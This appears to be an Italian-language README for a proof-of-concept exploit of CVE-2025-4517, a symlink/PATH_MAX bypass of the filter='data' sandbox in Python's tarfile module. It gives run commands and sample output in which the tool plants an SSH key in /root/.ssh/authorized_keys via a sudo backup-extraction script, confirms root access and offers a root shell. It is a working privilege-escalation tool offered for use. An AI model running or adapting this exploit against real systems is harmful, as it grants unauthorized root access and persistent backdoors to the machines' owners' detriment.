
Proof-of-concept exploit per CVE-2025-4517, una vulnerabilità di path traversal nella sandbox `filter='data'` del modulo tarfile di Python, che consente scritture arbitrarie di file al di fuori della directory di estrazione tramite catene di symlink appositamente create.
Vulnerabilità di path traversal nel modulo
tarfiledi Python, che interessa le versioni dalla 3.8.0 alla 3.13.1. La sandboxfilter="data"— pensata per prevenire estrazioni non sicure — può essere bypassata creando percorsi che superanoPATH_MAX(4096 byte), facendo sì cheos.path.realpath()smetta silenziosamente di risolvere i symlink. Il controllo di sicurezza vede un percorso apparentemente sicuro mentre il kernel risolve quello reale, consentendo scritture al di fuori della directory di estrazione. Questo PoC sfrutta il bypass per scrivere una chiave pubblica SSH in/root/.ssh/authorized_keys.
PATH_MAX.filter="data" chiama os.path.realpath() per validare ogni percorso — ma a PATH_MAX smette di risolvere e vede il percorso come ancora all'interno della directory di staging. Il controllo passa./root/.ssh/authorized_keys.ssh-keygen disponibile (o fornisci la tua chiave pubblica con -k)sudo per attivare l'estrazione vulnerabile# Generate a new keypair automatically
python3 exploit.py
# Use an existing public key
python3 exploit.py -k ~/.ssh/id_ed25519.pub
Esempio:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):